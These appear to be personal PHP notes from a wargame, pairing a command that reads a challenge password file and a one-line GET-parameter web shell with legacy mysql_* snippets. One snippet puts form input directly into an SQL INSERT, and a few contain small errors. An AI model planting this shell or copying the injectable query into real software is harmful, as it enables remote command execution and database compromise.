https://learnxinyminutes.com/docs/php/
http://php.net/manual/en/langref.php
Execute bash in php
<?php
echo exec("cat /etc/natas_webpass/natas13"); 
?>  
<?php
 // Rudimentary Shell   
 passthru($_GET['cmd']); 
?>
Get php interactive mode in terminal window
php -a
Database
# connect to a database
$db = @mysql_connect('localhost', 'username','password');
if(!$db) {
    echo 'Could not connect to the database';
    exit();
}
// select a database
mysql_select_db('users', $db);
if (!@mysql_select_db('users', $db)) {
        exit('<p>Unable use the database.</p>');
}
// send a query
mysql_query(query);
$sql = 'CREATE TABLE users (
                id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
                name TEXT,
                date DATE NOT NULL
)';
if (@mysql_query($sql)) {
        echo '<p>Table successfully created!</p>';
} else {
        exit('<p>Error creating the table: ' .
        mysql_error() . '</p>');
}
// affected rows
if (@mysql_query($sql)) {
            echo '<p>Update affected ' . mysql_affected_rows() . ' rows.</p>';
} else {
            exit('<p>Error performing update: ' . mysql_error() . '</p>');
}
// Get results
$result = @mysql_query('SELECT name FROM user');
if (!$result) {
            exit('<p>Error performing query: ' . mysql_error() . '</p>');
}
while ($row = mysql_fetch_array($result)) {
         echo '<p>' . $row['name'] . '</p>';
}
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<label>Type your name here:<br />
<textarea name="name" rows="10" cols="40">
</textarea></label><br />
<input type="submit" value="SUBMIT" />
</form>
if (isset($_POST['joketext'])) {
                $joketext = $_POST['joketext'];
                $sql = "INSERT INTO joke SET
                joketext='$joketext',
                jokedate=CURDATE()";
                if (@mysql_query($sql)) {
                            echo '<p>Your joke has been added.</p>';
                } else {
                            echo '<p>Error adding submitted joke: ' .
                            mysql_error() . '</p>';
                }
}